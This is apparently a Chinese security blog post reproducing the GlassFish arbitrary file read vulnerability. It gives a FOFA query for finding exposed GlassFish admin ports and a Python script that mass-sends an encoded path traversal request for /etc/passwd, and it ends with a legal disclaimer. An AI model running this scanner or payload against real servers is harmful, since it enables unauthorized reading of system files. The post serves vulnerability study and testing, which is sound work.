Bootstrap

0x01 GlassFish 任意文件读取漏洞复现

参考文章:

fofa 搜索使用该服务器的网站

网络空间测绘,网络空间安全搜索引擎,网络空间搜索引擎,安全态势感知 - FOFA网络空间测绘系统

"glassfish"&& port="4848"

参数解释:

  • "glassfish"

    • 搜索内容中包含“glassfish”字样。
    • GlassFish 是一种应用服务器。
  • &&

    • 逻辑与运算符,用于同时满足多个条件。
  • port="4848"

    • 指定搜索的端口号为 4848。
    • 这是 GlassFish 应用服务器的默认管理端口。

验证目标url是否存在漏洞

这里可以选择手动测试也可以自己写个脚本帮我们自动测试,这里我就分享个简单的验证脚本:

import requests

# 要测试的目标 URL 列表
targets = [
    "http://example.com",
    "http://another-example.com:4848",
    # 添加更多的目标 URL 或 IP
]

# 需要拼接的测试路径
test_path = "/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd"


# 检查目标 URL 是否存在端口
def check_port_in_url(url):
    return ':' in url


# 测试 URL 是否存在安全漏洞
def test_url(url):
    # 拼接目标 URL 和测试路径
    test_url = url + test_path

    try:
        response = requests.get(test_url, timeout=10)

        if response.status_code == 200:
            print(f"Potential risk found at: {test_url}")
        else:
            # print(f"No risk found at: {test_url} (Status Code: {response.status_code})")
            pass
    except requests.RequestException as e:
        pass
        # print(f"Error accessing {test_url}: {e}")


# 主程序
def main():
    for target in targets:
        test_url(target)


if __name__ == "__main__":
    main()

 

之后就可以手动访问脚本验证的url看是否存在文件读取漏洞

如果你需要更加完善的脚本与python脚本编写教程:

免责声明

欢迎访问我的博客。以下内容仅供教育和信息用途:

  1. 合法性:我不支持或鼓励非法活动。请确保遵守法律法规。

  2. 信息准确性:尽管我尽力提供准确的信息,但不保证其完全准确或适用。使用前请自行验证。

  3. 风险提示:技术使用可能带来风险,如系统损坏或数据丢失。请谨慎使用,并自行承担风险。

  4. 责任限制:我对使用博客内容产生的任何损害不承担责任。

  5. 第三方链接:博客中的链接仅为方便用户,内容不由我负责。

使用本博客即表示您同意以上条款。如果有疑问,请联系我。

;